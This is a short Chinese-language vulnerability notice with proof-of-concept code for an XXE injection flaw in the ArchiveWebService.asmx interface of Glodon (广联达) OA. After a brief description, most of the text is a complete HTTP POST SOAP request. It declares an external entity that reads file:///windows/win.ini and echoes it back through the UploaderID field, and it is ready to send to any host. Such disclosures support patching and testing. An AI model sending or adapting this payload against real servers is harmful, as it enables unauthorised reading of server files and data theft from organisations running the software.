漏洞描述
广联达OA系统中的ArchiveWebService接口存在XXE（XML外部实体注入）漏洞。攻击者可以通过发送特制的SOAP请求，在XML数据中注入恶意的外部实体，从而读取系统文件或在受影响的服务器上执行任意代码。该漏洞存在于/GB/LK/Document/ArchiveService/ArchiveWebService.asmx接口，通过注入恶意XML实体，攻击者可以在未经授权的情况下访问敏感信息，严重威胁系统的安全性和数据完整性。
广联达OA ArchiveWebService XXE漏洞
PoC代码
POST /GB/LK/Document/ArchiveService/ArchiveWebService.asmx HTTP/1.1
Host:
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 2861
Content-Type: text/xml; charset=utf-8
Cookie: GTP_IdServer_LangID=2052
Soapaction: http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx/PostArchiveInfo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <PostArchiveInfo xmlns="http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx"> <archiveInfo><!DOCTYPE Archive [
    <!ENTITY secret SYSTEM "file:///windows/win.ini">
]>

<Archive>  
    <ArchiveInfo>  
        <UploaderID>
############


&secret;


##############
</UploaderID>  
    </ArchiveInfo>  
    <Result>  
        <MainDoc>Document Content</MainDoc>  
    </Result>  
    <DocInfo>  
        <DocTypeID>1</DocTypeID>  
        <DocVersion>1.0</DocVersion>  
    </DocInfo>  
</Archive></archiveInfo> <folderIdList>string</folderIdList> <platId>string</platId> </PostArchiveInfo> </soap:Body> </soap:Envelope>